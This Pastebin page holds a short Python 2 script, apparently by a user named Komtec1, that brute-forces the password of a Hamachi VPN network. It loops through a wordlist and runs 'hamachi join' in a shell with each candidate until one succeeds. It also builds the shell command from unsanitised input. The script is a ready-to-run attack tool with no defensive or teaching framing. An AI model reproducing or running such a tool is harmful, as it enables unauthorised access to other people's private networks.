Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import socket
- import urllib2
- import sys
- import os
- import string
- import urllib
- import re
- import subprocess
- class Command(object):
- def __init__(self, command):
- self.command = command
- def run(self, shell=True):
- import subprocess as sp
- process = sp.Popen(self.command, shell = shell, stdout = sp.PIPE, stderr = sp.PIPE)
- self.pid = process.pid
- self.output, self.error = process.communicate()
- self.failed = process.returncode
- return self
- @property
- def returncode(self):
- return self.failed
- print '|-----| Komtec1 komtec1[at]gmail[dot]com |------|'
- print '|-----| Hamachi password bruteforce |------|'
- red = sys.argv[1]
- archivo = sys.argv[2]
- num = 0
- try:
- f = open(archivo)
- print 'Todo bien, sigamos con el code'
- except :
- print 'No se puede leer el archivo'
- while True:
- linea = f.readline()
- if not linea: break
- resultado = Command('hamachi join ' + red + ' ' + linea).run()
- res2 = resultado.output
- if res2.find("failed") >= 0:
- print resultado.output + ' pass: ' + linea
- else:
- print 'Password encontrado: ' + linea
- sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement